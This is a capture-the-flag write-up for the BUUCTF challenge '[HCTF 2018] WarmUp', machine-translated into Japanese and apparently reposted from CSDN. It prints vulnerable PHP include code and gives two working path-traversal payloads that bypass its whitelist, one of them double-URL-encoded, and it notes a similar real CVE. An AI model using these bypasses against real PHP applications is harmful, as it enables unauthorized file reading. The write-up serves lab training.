buuctf web [HCTF 2018] WarmUp

buuctf射撃場:https://buuoj.cn/


タイトルを開いて大きな顔を見つける

ここに画像の説明を挿入
ページのソースコードを確認してコメントを見つけてください

ここに画像の説明を挿入
にアクセスするsource.phpと、次のソースコードを確認して分析できます。

 <?php
    highlight_file(__FILE__);
    class emmm
    {
    
    
        public static function checkFile(&$page)
        {
    
    
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//$whitelist数组存入两个变量
            if (! isset($page) || !is_string($page)) {
    
    
            //判断是否存在且是否为字符串类型
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
    
    
            //判断与$whitelist是否匹配,不过很显然,我们不能在这里return,应为我们要的flag不在这两个文件中,当然,在这里还是能进行绕过的,下面会详细讲解
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page. '?', '?')//查找?出现在字符串中首次出现的位置
            );
            //截取字符串开始到?的位置,赋值到$_page变量中
            //很显然,这里就可以绕过获取flag了
            
			            

            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);//以上条件不成立,先进行一次url解码
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );//解码后重新再截取字符串开始到?的位置,赋值到$_page变量中
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])//判断是否存在file变量
        && is_string($_REQUEST['file'])//判断file是否为字符串
        && emmm::checkFile($_REQUEST['file'])//将file变量带入emmm类里的checkFile执行
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

ヒント.phpが含まれ、フラグがffffllllaaaaggggファイルにある場合にヒントを与える

ここに画像の説明を挿入

上記のコードを分析すると、2つの解決策があります

1.最初のmb_substrが検証されると、フラグの取得をバイパスできます。source.phpの後に1つ追加するだけで?、傍受した文字列を検証のために$ _pageに割り当ててから、... / return The親ディレクトリにはフラグが含まれています。

ペイロード:

source.php?file=source.php?/../../../../ffffllllaaaagggg

ここに画像の説明を挿入

2.2番目のmb_substrでバイパスすることもできます

ペイロード:

/source.php?file=source.php%253f/../../../../../ffffllllaaaagggg
  1. %25はパーセント記号で%%3fURLは疑問符としてデコードされます?
  2. ブラウザはURLを1回デコードし、%25をにデコードし%ます。
  3. 次に、それを実行のためにphpコードに入れます。%3fを疑問符にデコードするためのurldecodeがあります。?

ここに画像の説明を挿入

この質問はCVE-2018-12613脆弱性に似ています

おすすめ

転載: blog.csdn.net/weixin_41924764/article/details/109616580